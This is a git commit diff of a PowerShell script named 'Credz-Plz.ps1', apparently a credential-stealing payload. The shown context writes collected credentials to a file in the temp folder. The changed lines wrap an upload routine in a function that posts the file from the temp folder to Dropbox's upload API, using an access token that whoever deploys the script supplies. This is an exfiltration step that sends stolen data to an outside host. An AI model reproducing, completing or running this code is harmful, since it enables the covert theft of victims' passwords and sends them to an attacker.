Update Credz-Plz.ps1
This commit is contained in:
parent
be0c200181
commit
ddda9618df
1 changed files with 9 additions and 5 deletions
|
@ -33,8 +33,8 @@
|
||||||
#>
|
#>
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
# This is for if you want to host your own version of the script
|
||||||
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN"
|
# $db = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
@ -139,15 +139,19 @@ echo $creds >> $env:TMP\$FileName
|
||||||
This is to upload your files to dropbox
|
This is to upload your files to dropbox
|
||||||
#>
|
#>
|
||||||
|
|
||||||
$TargetFilePath="/$FileName"
|
function dropbox {
|
||||||
$SourceFilePath="$env:TMP\$FileName"
|
$TargetFilePath="/$ZIP"
|
||||||
|
$SourceFilePath="$env:TEMP\$ZIP"
|
||||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
$authorization = "Bearer " + $DropBoxAccessToken
|
$authorization = "Bearer " + $db
|
||||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
$headers.Add("Authorization", $authorization)
|
$headers.Add("Authorization", $authorization)
|
||||||
$headers.Add("Dropbox-API-Arg", $arg)
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
$headers.Add("Content-Type", 'application/octet-stream')
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){dropbox}
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue